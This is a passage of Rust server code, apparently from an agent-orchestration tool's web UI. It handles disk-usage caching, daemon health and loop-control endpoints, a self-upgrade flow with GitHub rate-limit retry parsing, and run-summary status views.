2746 for entry in std::fs::read_dir(dir).ok()? {
2747 let entry = entry.ok()?;
2748 let metadata = entry.metadata().ok()?;
2749 if metadata.is_dir() {
2750 stack.push(entry.path());
2751 } else if metadata.is_file() {
2752 total += metadata.len();
2753 }
2754 }
2755 }
2756 Some(total)
2757}
2758
2759#[derive(Debug, Default)]
2760struct DiskObservation {
2761 scope: Option<DiskScope>,
2762 capacity: DiskCapacity,
2763 in_flight: bool,
2764 finished: Option<std::time::Instant>,
2765}
2766
2767impl DiskObservation {
2768 fn observe(
2769 state: &Arc<Mutex<Self>>,
2770 scope: DiskScope,
2771 measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2772 ) -> DiskCapacity {
2773 let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2774 if observation.scope.as_ref() != Some(&scope) {
2775 observation.scope = Some(scope.clone());
2776 observation.capacity = DiskCapacity::default();
2777 observation.finished = None;
2778 }
2779 let capacity = observation.capacity;
2780 if observation.in_flight
2781 || observation
2782 .finished
2783 .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2784 {
2785 return capacity;
2786 }
2787 observation.in_flight = true;
2788 drop(observation);
2789
2790 let refresh = DiskRefresh {
2791 state: Arc::clone(state),
2792 scope,
2793 };
2794 tokio::task::spawn_blocking(move || {
2795 let next = measure(&refresh.scope);
2796 let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2797 if observation.scope.as_ref() == Some(&refresh.scope) {
2798 observation.capacity.retain_successes(next);
2799 }
2800 drop(observation);
2801 drop(refresh);
2804 });
2805 capacity
2806 }
2807}
2808
2809struct DiskRefresh {
2810 state: Arc<Mutex<DiskObservation>>,
2811 scope: DiskScope,
2812}
2813
2814impl Drop for DiskRefresh {
2815 fn drop(&mut self) {
2816 let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2817 observation.in_flight = false;
2818 if observation.scope.as_ref() == Some(&self.scope) {
2819 observation.finished = Some(std::time::Instant::now());
2821 }
2822 }
2823}
2824
2825impl DiskView {
2826 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2828 let capacity = DiskObservation::observe(
2829 &ui.monitor.disk,
2830 DiskScope::of(ui, cfg),
2831 DiskCapacity::measure,
2832 );
2833 Self::with_capacity(ui, capacity)
2834 }
2835
2836 fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2837 Self {
2838 free_bytes: crate::disk::free_bytes(&ui.runs)
2839 .ok()
2840 .or(capacity.free_bytes),
2841 runs_bytes: capacity.runs_bytes,
2842 worktrees_bytes: capacity.worktrees_bytes,
2843 cache_bytes: capacity.cache_bytes,
2844 retention: ui
2845 .runs
2846 .parent()
2847 .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2848 .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2849 }
2850 }
2851}
2852
2853#[derive(Debug, Serialize)]
2855struct DaemonView {
2856 running: bool,
2857 idle: Option<bool>,
2858 pid: Option<u32>,
2859 current: Vec<daemon::Current>,
2863 completed: Option<u64>,
2864 stale_for_secs: Option<i64>,
2865}
2866
2867impl DaemonView {
2868 fn of(status: Option<daemon::Reading>) -> Self {
2872 let Some(status) = status else {
2873 return Self {
2874 running: false,
2875 idle: None,
2876 pid: None,
2877 current: Vec::new(),
2878 completed: None,
2879 stale_for_secs: None,
2880 };
2881 };
2882 let now = Timestamp::now();
2883 let age = status.age_secs(now);
2884 Self {
2885 running: status.running(now),
2886 idle: Some(status.idle),
2887 pid: status.pid,
2888 current: status.current,
2889 completed: Some(status.completed),
2890 stale_for_secs: age,
2891 }
2892 }
2893}
2894
2895fn refresh_health_config(ui: &Arc<Ui>) {
2898 let mut cache = ui
2899 .monitor
2900 .disk_cache
2901 .lock()
2902 .unwrap_or_else(PoisonError::into_inner);
2903 if cache.loading
2904 || cache
2905 .measured
2906 .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
2907 {
2908 return;
2909 }
2910 cache.loading = true;
2911 let weak = Arc::downgrade(ui);
2912 std::thread::spawn(move || {
2913 let Some(ui) = weak.upgrade() else { return };
2914 let cfg = deputy_config(&ui.repo);
2915 let update = cached_update_view(cfg.as_ref());
2916 let mut cache = ui
2917 .monitor
2918 .disk_cache
2919 .lock()
2920 .unwrap_or_else(PoisonError::into_inner);
2921 cache.config = cfg;
2922 cache.update = Some(update);
2923 cache.measured = Some(std::time::Instant::now());
2924 cache.loading = false;
2925 });
2926}
2927
2928fn health_counts(
2929 ui: &Ui,
2930 fallback_questions_rev: u64,
2931) -> ApiResult<(usize, usize, usize, u64, usize)> {
2932 let mut index = ui
2933 .monitor
2934 .health_index
2935 .lock()
2936 .unwrap_or_else(PoisonError::into_inner);
2937 let ids = run_ids(&ui.runs);
2938 let seen: HashSet<_> = ids.iter().cloned().collect();
2939 index.runs.retain(|id, _| seen.contains(id));
2940 let mut unreadable = 0;
2941 for id in ids {
2942 let identity = file_identity(&ui.runs.join(&id).join("run.json"));
2945 let bad = match identity {
2946 Ok(identity) => {
2947 if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
2948 let bad = read_run(&ui.runs, &id).is_err();
2949 index.runs.insert(id.clone(), (identity, bad));
2950 #[cfg(test)]
2951 {
2952 index.run_parses += 1;
2953 }
2954 }
2955 index.runs[&id].1
2956 }
2957 Err(_) => true,
2958 };
2959 unreadable += usize::from(bad);
2960 }
2961 let questions_rev = try_stamps(ui.questions.root(), false, true)
2962 .map(|stamps| stamps_revision(&stamps))
2963 .unwrap_or(fallback_questions_rev);
2964 if index.questions.as_ref().is_none_or(|counts| {
2965 counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
2966 }) {
2967 let questions = ui.questions.list();
2968 index.questions = Some(QuestionCounts {
2969 revision: questions_rev,
2970 measured: std::time::Instant::now(),
2971 open: questions.iter().filter(|q| q.status.open()).count(),
2972 owner: questions
2973 .iter()
2974 .filter(|q| {
2975 q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
2976 })
2977 .count(),
2978 });
2979 }
2980 let notifications_rev =
2981 stamps_revision(&try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?);
2982 if index
2983 .notices
2984 .is_none_or(|(rev, _)| rev != notifications_rev)
2985 {
2986 index.notices = Some((notifications_rev, ui.notices.count_unread()));
2987 }
2988 let questions = index.questions.as_ref().unwrap();
2989 Ok((
2990 unreadable,
2991 questions.open,
2992 questions.owner,
2993 notifications_rev,
2994 index.notices.unwrap().1,
2995 ))
2996}
2997
2998async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2999 let revisions = ui.monitor.revisions(&ui).await?;
3000 refresh_health_config(&ui);
3001 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3002 let reading = daemon::read_status(&ui.home);
3006 let loop_rev = ui.lock_loop().rev;
3010 let (
3011 runs_unreadable,
3012 questions_open,
3013 questions_needs_owner,
3014 notifications_rev,
3015 notifications_unread,
3016 ) = health_counts(&ui, revisions.2)?;
3017 let ((cfg, config_observed, sizes, measured), update) = {
3018 let cache = ui
3019 .monitor
3020 .disk_cache
3021 .lock()
3022 .unwrap_or_else(PoisonError::into_inner);
3023 (
3024 (
3025 cache.config.clone(),
3026 cache.measured.is_some(),
3027 cache.disk.clone(),
3028 cache.measured,
3029 ),
3030 cache.update.clone().unwrap_or(UpdateView {
3031 available: false,
3032 to: None,
3033 }),
3034 )
3035 };
3036 let prior_capacity = {
3040 let mut observation = ui
3041 .monitor
3042 .disk
3043 .lock()
3044 .unwrap_or_else(PoisonError::into_inner);
3045 if observation.scope.is_none()
3048 && let Some(sizes) = sizes
3049 {
3050 observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3051 observation.capacity = DiskCapacity {
3052 runs_bytes: Some(sizes.runs),
3053 worktrees_bytes: Some(sizes.worktrees),
3054 cache_bytes: sizes.cache,
3055 free_bytes: None,
3056 };
3057 observation.finished = measured;
3058 }
3059 observation.scope.as_ref().map(|_| observation.capacity)
3060 };
3061 let disk = if config_observed {
3062 serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3063 } else {
3064 serde_json::to_value(DiskView::with_capacity(
3065 &ui,
3066 prior_capacity.unwrap_or_default(),
3067 ))
3068 .ok()
3069 };
3070 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3071 let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3072 #[cfg(not(test))]
3073 let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3074 #[cfg(test)]
3075 let looping = ui.loop_view(reading.clone());
3076 Ok(Json(HealthView {
3077 jobs: jobs.into_iter().map(WorkerView::from).collect(),
3078 version: env!("CARGO_PKG_VERSION"),
3079 home: ui.home.display().to_string(),
3080 queue_rev: revisions.0,
3081 runs_rev: revisions.1,
3082 questions_rev: revisions.2,
3083 talks_rev: revisions.3,
3084 notifications_rev,
3085 notifications_unread,
3086 loop_rev,
3087 runs_unreadable,
3088 questions_open,
3089 questions_needs_owner,
3090 daemon: DaemonView::of(reading.clone()),
3091 looping,
3092 disk,
3093 update,
3094 upgrade,
3095 upgrade_request_error: ui
3096 .upgrade_request_error
3097 .lock()
3098 .unwrap_or_else(PoisonError::into_inner)
3099 .clone(),
3100 }))
3101 })
3102 .await
3103}
3104
3105#[derive(Debug, Serialize)]
3107struct LoopView {
3108 running: bool,
3110 stopping: bool,
3112 parking: bool,
3114 owned: bool,
3116 repo: String,
3119 merge: Option<String>,
3122 last_error: Option<String>,
3130 daemon: DaemonView,
3133}
3134
3135#[derive(Debug, Clone, Copy)]
3140struct Foreign {
3141 pid: Option<u32>,
3143}
3144
3145impl Foreign {
3146 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3149 if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3153 return None;
3154 }
3155 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3156 }
3157
3158 fn who(&self) -> String {
3161 match self.pid {
3162 Some(pid) => format!("another magi process (pid {pid})"),
3163 None => "another magi process".to_owned(),
3164 }
3165 }
3166}
3167
3168type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3173
3174#[cfg(test)]
3175type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3176
3177#[cfg(test)]
3179fn launch_daemon(
3180 opts: daemon::Opts,
3181 stop: daemon::Stop,
3182) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3183 Box::pin(daemon::serve_until(opts, stop))
3184}
3185
3186#[derive(Debug, Default)]
3188struct LoopState {
3189 #[cfg(test)]
3191 live: Option<Live>,
3192 rev: u64,
3195 last_error: Option<String>,
3198}
3199
3200#[cfg(test)]
3202#[derive(Debug)]
3203struct Live {
3204 stop: daemon::Stop,
3206 handle: tokio::task::JoinHandle<()>,
3211 opts: daemon::Opts,
3215}
3216
3217#[cfg(test)]
3218impl Live {
3219 fn alive(&self) -> bool {
3221 !self.handle.is_finished()
3222 }
3223}
3224
3225fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3232 state.lock().unwrap_or_else(PoisonError::into_inner)
3233}
3234
3235async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3237 blocking(move || {
3238 let reading = daemon::read_status(&ui.home);
3239 #[cfg(not(test))]
3240 let view = ui.try_loop_view(reading)?;
3241 #[cfg(test)]
3242 let view = ui.loop_view(reading);
3243 Ok(Json(view))
3244 })
3245 .await
3246}
3247
3248#[derive(Debug, Deserialize)]
3254#[serde(deny_unknown_fields)]
3255struct LoopCommand {
3256 running: bool,
3257 #[serde(default)]
3267 park: bool,
3268}
3269
3270async fn loop_post(
3273 State(ui): State<Arc<Ui>>,
3274 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3275) -> ApiResult<Json<LoopView>> {
3276 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3279 #[cfg(not(test))]
3280 {
3281 if body.running {
3282 ui.start_detached_loop().await?;
3283 } else {
3284 let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3285 ui.stop_loop(foreign, body.park)?;
3286 }
3287 Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3288 }
3289 #[cfg(test)]
3290 {
3291 blocking(move || {
3292 let reading = daemon::read_status(&ui.home);
3293 let foreign = Foreign::of(reading.as_ref());
3294 if body.running {
3295 ui.start_loop(foreign)?;
3296 } else {
3297 ui.stop_loop(foreign, body.park)?;
3298 }
3299 Ok(Json(ui.loop_view(reading)))
3300 })
3301 .await
3302 }
3303}
3304
3305#[derive(Debug, Serialize)]
3307struct UpgradeView {
3308 from: String,
3310 to: Option<String>,
3312 detail: String,
3314}
3315
3316fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3319 progress.filter(|p| !p.stage.terminal())
3320}
3321
3322fn upgrade_retry_after(message: &str) -> Option<u64> {
3325 if !message.contains("GitHub") || !message.contains("rate limit") {
3326 return None;
3327 }
3328 if message.contains("retry now") {
3329 return Some(0);
3330 }
3331 let duration = message
3332 .split_once("resets in ")
3333 .or_else(|| message.split_once("retry after "))?
3334 .1
3335 .split_once(')')?
3336 .0;
3337 let mut rest = duration.trim();
3338 if rest.is_empty() {
3339 return None;
3340 }
3341 let mut total = 0u64;
3342 while !rest.is_empty() {
3343 let n = rest.find(|c: char| !c.is_ascii_digit())?;
3344 let amount: u64 = rest[..n].parse().ok()?;
3345 let scale = match rest[n..].chars().next()? {
3346 's' => 1,
3347 'm' => 60,
3348 'h' => 3600,
3349 'd' => 86400,
3350 _ => return None,
3351 };
3352 total = total.checked_add(amount.checked_mul(scale)?)?;
3353 rest = rest[n + 1..].trim_start();
3354 }
3355 Some(total)
3356}
3357
3358#[derive(Debug, Clone, Serialize)]
3359struct UpgradeRequestFailure {
3360 occurred_at: String,
3361 error: String,
3362 retry_after_secs: Option<u64>,
3363 retry_at: Option<u64>,
3365}
3366
3367impl UpgradeRequestFailure {
3368 fn new(error: String) -> Self {
3369 let retry_after_secs = upgrade_retry_after(&error);
3370 let now = std::time::SystemTime::now()
3371 .duration_since(std::time::UNIX_EPOCH)
3372 .unwrap_or_default()
3373 .as_secs();
3374 Self {
3375 occurred_at: jiff::Timestamp::now().to_string(),
3376 error,
3377 retry_after_secs,
3378 retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3379 }
3380 }
3381}
3382
3383async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3396 begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3397}
3398
3399async fn begin_upgrade(
3400 ui: &Arc<Ui>,
3401 trigger: updater::UpgradeTrigger,
3402 latest: Option<kaishin::LatestRelease>,
3403) -> Response {
3404 let reading = daemon::read_status(&ui.home);
3405 if let Some(other) = Foreign::of(reading.as_ref()) {
3406 return ApiError::conflict(format!(
3407 "{} is a legacy scheduler without detached restart support. \
3408 Finish or explicitly park its work in the existing UI before \
3409 this first migration; independent schedulers do not need this.",
3410 other.who()
3411 ))
3412 .into_response();
3413 }
3414
3415 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3420 return ApiError::conflict("another request is already preparing an upgrade")
3421 .into_response();
3422 };
3423 if trigger == updater::UpgradeTrigger::Auto {
3426 let cfg = match Config::discover(&ui.repo, None) {
3427 Ok((cfg, _)) => cfg,
3428 Err(e) => {
3429 return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3430 }
3431 };
3432 let Some(latest) = latest else {
3433 return StatusCode::NO_CONTENT.into_response();
3434 };
3435 let busy = ui.auto_upgrade_busy();
3436 let failed = ui
3437 .auto_failed_tag
3438 .lock()
3439 .unwrap_or_else(PoisonError::into_inner)
3440 .clone();
3441 let decision = auto_upgrade_decision(
3442 &cfg.update,
3443 updater::disabled_by_env(),
3444 ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3445 || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3446 busy,
3447 &latest.tag_name,
3448 failed.as_deref(),
3449 );
3450 if decision != AutoUpgradeDecision::Trigger {
3451 let reason = match decision {
3452 AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3453 AutoUpgradeDecision::Skip(reason) => reason,
3454 AutoUpgradeDecision::Trigger => unreachable!(),
3455 };
3456 updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3457 return StatusCode::NO_CONTENT.into_response();
3458 }
3459 ui.upgrade_spawned
3463 .store(true, std::sync::atomic::Ordering::SeqCst);
3464 if ui.auto_upgrade_busy() {
3465 ui.upgrade_spawned
3466 .store(false, std::sync::atomic::Ordering::SeqCst);
3467 updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3468 return StatusCode::NO_CONTENT.into_response();
3469 }
3470 updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3471 return finish_upgrade_request(
3472 ui,
3473 upgrade_checked_for(
3474 ui,
3475 env!("CARGO_PKG_VERSION").into(),
3476 Ok(Some(latest)),
3477 trigger,
3478 ),
3479 );
3480 }
3481 finish_upgrade_request(ui, upgrade_prepare(ui).await)
3482}
3483
3484fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3485 match result {
3486 Ok(out) => {
3487 *ui.upgrade_request_error
3488 .lock()
3489 .unwrap_or_else(PoisonError::into_inner) = None;
3490 out.into_response()
3491 }
3492 Err(error) if error.status != StatusCode::CONFLICT => {
3493 let failure = UpgradeRequestFailure::new(error.message);
3494 *ui.upgrade_request_error
3495 .lock()
3496 .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3497 let mut response = (error.status, Json(&failure)).into_response();
3498 if let Some(value) = failure
3499 .retry_after_secs
3500 .and_then(|secs| secs.to_string().parse().ok())
3501 {
3502 response.headers_mut().insert("retry-after", value);
3503 }
3504 response
3505 }
3506 Err(error) => error.into_response(),
3507 }
3508}
3509
3510async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3511 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3512 return Err(ApiError::conflict(
3513 "an upgrade is already in progress (this process started one and it \
3514 has not finished or failed yet)",
3515 ));
3516 }
3517 let recorded = updater::read_progress(&ui.home);
3518 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3519 return Err(ApiError::conflict(format!(
3520 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3521 stays stuck, restart the deck; on start it settles a stale record.",
3522 p.stage.as_str(),
3523 p.from,
3524 p.to.as_deref().unwrap_or("?"),
3525 )));
3526 }
3527
3528 if crate::updater::disabled_by_env() {
3534 return Ok((
3535 StatusCode::OK,
3536 Json(UpgradeView {
3537 from: env!("CARGO_PKG_VERSION").to_owned(),
3538 to: None,
3539 detail: format!(
3540 "Automatic updates are disabled by {}. Nothing was parked \
3541 and nothing restarted.",
3542 crate::updater::NO_AUTOUPDATE_ENV
3543 ),
3544 }),
3545 ));
3546 }
3547
3548 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3551 let from = env!("CARGO_PKG_VERSION").to_owned();
3552 let latest = match crate::updater::Checker::new(&cfg.update) {
3553 Some(checker) => checker.newer_release().await,
3554 None => Ok(None),
3555 };
3556 upgrade_checked(ui, from, latest)
3557}
3558
3559fn upgrade_checked(
3560 ui: &Arc<Ui>,
3561 from: String,
3562 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3563) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3564 upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3565}
3566
3567fn upgrade_checked_for(
3568 ui: &Arc<Ui>,
3569 from: String,
3570 latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3571 trigger: updater::UpgradeTrigger,
3572) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3573 let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3574 let Some(latest) = latest else {
3575 return Ok((
3576 StatusCode::OK,
3577 Json(UpgradeView {
3578 from,
3579 to: None,
3580 detail: "Already on the newest release. Nothing was parked \
3581 and nothing restarted."
3582 .to_owned(),
3583 }),
3584 ));
3585 };
3586
3587 let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3588
3589 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3593 progress.trigger = trigger;
3594 updater::write_progress_logged(&ui.home, &progress);
3595
3596 let home = ui.home.clone();
3597 ui.upgrade_spawned
3598 .store(true, std::sync::atomic::Ordering::SeqCst);
3599 let spawned = Arc::clone(&ui.upgrade_spawned);
3600 let runner = ui.upgrade_runner;
3601 let failed = ui.auto_failed_tag.clone();
3602 let tag = latest.tag_name.clone();
3603 tokio::spawn(async move {
3604 if let Err(e) = runner(home.clone()).await {
3605 if trigger == updater::UpgradeTrigger::Auto {
3606 *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3607 }
3608 tracing::error!("the upgrade did not complete: {e:#}");
3609 let _ = updater::fail_progress(&home, &format!("{e:#}"));
3613 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3615 }
3616 });
3617
3618 Ok((
3619 StatusCode::ACCEPTED,
3620 Json(UpgradeView {
3621 from,
3622 to: Some(latest.tag_name),
3623 detail,
3624 }),
3625 ))
3626}
3627
3628async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3633 crate::updater::run_self_update(true, false, true).await?;
3636 updater::log_step(&home, "binary replaced - recording the replaced stage");
3637 if let Some(mut progress) = updater::read_progress(&home) {
3638 progress.advance(updater::Stage::Replaced);
3639 updater::write_progress_logged(&home, &progress);
3640 }
3641 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3642 HANDOVER.notify_one();
3643 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3644 Ok(())
3645}
3646
3647#[derive(Debug, Serialize)]
3653struct RunSummary {
3654 id: String,
3655 short: String,
3656 status: String,
3657 done: bool,
3658 instruction: String,
3659 title: String,
3660 repo: String,
3661 repo_name: String,
3662 created_at: String,
3663 updated_at: String,
3664 candidates: usize,
3665 viable: usize,
3666 judges: usize,
3667 winner: Option<char>,
3668 reviews: usize,
3669 quota_losses: usize,
3670 event: Option<String>,
3671 superseded_by: Option<String>,
3676 waiting: bool,
3683 live: crate::run::Liveness,
3687 pr: Option<crate::run::PrRecord>,
3689 unmerged_by_design: bool,
3695 #[serde(default)]
3698 display_status: String,
3699 #[serde(default)]
3702 badge_status: String,
3703 origin_label: String,
3706}
3707
3708impl RunSummary {
3709 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3710 Self {
3711 id: state.id.clone(),
3712 short: state.short().to_owned(),
3713 status: status_word(state.status),
3714 done: state.status.done(),
3715 unmerged_by_design: state.unmerged_by_design(),
3716 display_status: run_display_status(state, waiting, live),
3717 badge_status: run_display_status(state, waiting, live),
3718 instruction: state.instruction.clone(),
3719 title: title_from(&state.instruction, TITLE_MAX),
3720 repo: state.repo.display().to_string(),
3721 repo_name: state
3722 .repo
3723 .file_name()
3724 .map(|n| n.to_string_lossy().into_owned())
3725 .unwrap_or_default(),
3726 created_at: state.created_at.to_string(),
3727 updated_at: state.updated_at.to_string(),
3728 candidates: state.candidates.len(),
3729 viable: state.viable().len(),
3730 judges: state.config.graph.judges,
3731 winner: state.winner().map(|c| c.label),
3732 reviews: state.reviews.len(),
3733 quota_losses: state.quota.len(),
3734 event: state
3735 .verification_blocking_cause()
3736 .or_else(|| state.events.last().map(|e| e.message.clone())),
3737 waiting,
3738 live,
3739 superseded_by: None,
3742 pr: state.pr.clone(),
3743 origin_label: crate::run::origin_label(state.origin.as_ref()),
3744 }
3745 }
3746}
3747
3748fn status_word(status: RunStatus) -> String {
3751 status.as_str().to_owned()
3755}
3756
3757fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3763 if waiting {
3764 return "waiting".to_owned();
3765 }
3766 if state.unmerged_by_design() {
3767 return "unmerged".to_owned();
3768 }
3769 if !state.status.done() && live == crate::run::Liveness::Dead {
3770 if state.parked {
3773 return "parked".to_owned();
3774 }
3775 return "stale".to_owned();
3776 }
3777 status_word(state.status)
3778}
3779
3780fn run_badge_status(
3788 state: &RunState,
3789 display_status: &str,
3790 live: crate::run::Liveness,
3791 superseded: bool,
3792) -> String {
3793 if state.status.done() || live == crate::run::Liveness::Live {
3794 return display_status.to_owned();
3795 }
3796 if superseded {
3797 return "superseded".to_owned();
3798 }
3799 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3803 return "stale".to_owned();
3804 }
3805 display_status.to_owned()
3806}
3807
3808#[derive(Debug, Deserialize)]
3810struct ListQuery {
3811 #[serde(default)]
3812 limit: Option<usize>,
3813 ids: Option<String>,
3815}
3816
3817impl ListQuery {
3818 fn contains(&self, id: &str) -> bool {
3819 self.ids
3820 .as_ref()
3821 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3822 }
3823}
3824
3825async fn runs_list(
3826 State(ui): State<Arc<Ui>>,
3827 Query(q): Query<ListQuery>,
3828) -> ApiResult<Json<Vec<RunSummary>>> {
3829 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3830 blocking(move || {
3831 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3832 let states = run_ids(&ui.runs)
3833 .into_iter()
3834 .filter_map(|id| read_run(&ui.runs, &id).ok())
3839 .take(limit)
3840 .filter(|run| q.contains(&run.id));
3841 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3842 let summaries = summarize(
3843 states,
3844 &open_runs,
3845 &claimed,
3846 &superseded,
3847 |p| probe.borrow_mut().status(p),
3848 |p| probe.borrow_mut().started_at(p),
3849 );
3850 Ok(Json(summaries))
3851 })
3852 .await
3853}
3854
3855fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3860 let open_runs: HashSet<String> = ui
3861 .questions
3862 .list()
3863 .into_iter()
3864 .filter(|q| q.status.open())
3865 .map(|q| q.run)
3866 .collect();
3867 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3868 .into_iter()
3869 .map(|c| c.run)
3870 .collect();
3871 (open_runs, claimed, ui.queue.superseded())
3872}
3873
3874fn summarize<I, S, D>(
3880 states: I,
3881 open_runs: &HashSet<String>,
3882 claimed: &HashSet<String>,
3883 superseded: &HashMap<String, String>,
3884 mut status_q: S,
3885 mut identity_q: D,
3886) -> Vec<RunSummary>
3887where
3888 I: IntoIterator<Item = RunState>,
3889 S: FnMut(u32) -> Option<bool>,
3890 D: FnMut(u32) -> Option<String>,
3891{
3892 states
3893 .into_iter()
3894 .map(|state| {
3895 let waiting = open_runs.contains(&state.id);
3896 let live =
3897 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3898 let mut row = RunSummary::of(&state, waiting, live);
3899 row.superseded_by = state
3900 .pr_taken_over_by
3901 .as_ref()
3902 .or_else(|| superseded.get(&state.id))
3903 .map(String::as_str)
3904 .map(crate::run::short_of)
3905 .map(str::to_owned);
3906 row.badge_status = run_badge_status(
3907 &state,
3908 &row.display_status,
3909 live,
3910 row.superseded_by.is_some(),
3911 );
3912 row
3913 })
3914 .collect()
3915}
3916
3917#[derive(Debug, Serialize)]
3924struct RunDetailView {
3925 stop_reason: Option<String>,
3926 #[serde(flatten)]
3927 state: RunState,
3928 instruction_md: Vec<md::Node>,
3929 #[serde(flatten)]
3933 prose_md: RunProseMd,
3934 live: crate::run::Liveness,
3949 unmerged_by_design: bool,
3954 #[serde(default)]
3956 waiting: bool,
3957 #[serde(default)]
3959 display_status: String,
3960 #[serde(default)]
3962 badge_status: String,
3963 done: bool,
3968 superseded_by: Option<String>,
3976 latest_attempt: Option<LatestAttempt>,
3990 task: Option<TaskRef>,
3993 origin_label: String,
3997 pass_views: Vec<PassView>,
4000}
4001
4002#[derive(Debug, Serialize)]
4004struct TaskRef {
4005 id: String,
4006 short: String,
4007 title: String,
4008 source_label: String,
4010 source_link: Option<SourceLink>,
4012 status: &'static str,
4014 attempts: usize,
4015 max_attempts: usize,
4016 is_latest: bool,
4018 latest: Option<RunBrief>,
4020 finished_by: Option<RunBrief>,
4022 closed_by_hand: bool,
4024}
4025
4026#[derive(Debug, PartialEq, Eq, Serialize)]
4028struct SourceLink {
4029 kind: &'static str,
4031 id: String,
4033 href: String,
4035}
4036
4037fn encode_segment(raw: &str) -> String {
4039 let mut out = String::with_capacity(raw.len());
4040 for b in raw.bytes() {
4041 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4042 out.push(b as char);
4043 } else {
4044 out.push_str(&format!("%{b:02X}"));
4045 }
4046 }
4047 out
4048}
4049
4050fn source_link(source: &Source) -> Option<SourceLink> {
4054 let Source::Agent { run, node } = source else {
4055 return None;
4056 };
4057 let (kind, route) = if node == crate::queue::CHAT_NODE {
4058 ("chat", "chat")
4059 } else {
4060 ("run", "runs")
4061 };
4062 Some(SourceLink {
4063 kind,
4064 id: run.clone(),
4065 href: id_links::page_href(route, run),
4066 })
4067}
4068
4069#[derive(Debug, Serialize, PartialEq)]
4071struct FollowUpParent {
4072 id: String,
4073 short: String,
4074 title: String,
4075 status: &'static str,
4077 href: String,
4078}
4079
4080#[derive(Debug, Serialize, PartialEq)]
4082struct FollowUpRun {
4083 id: String,
4084 short: String,
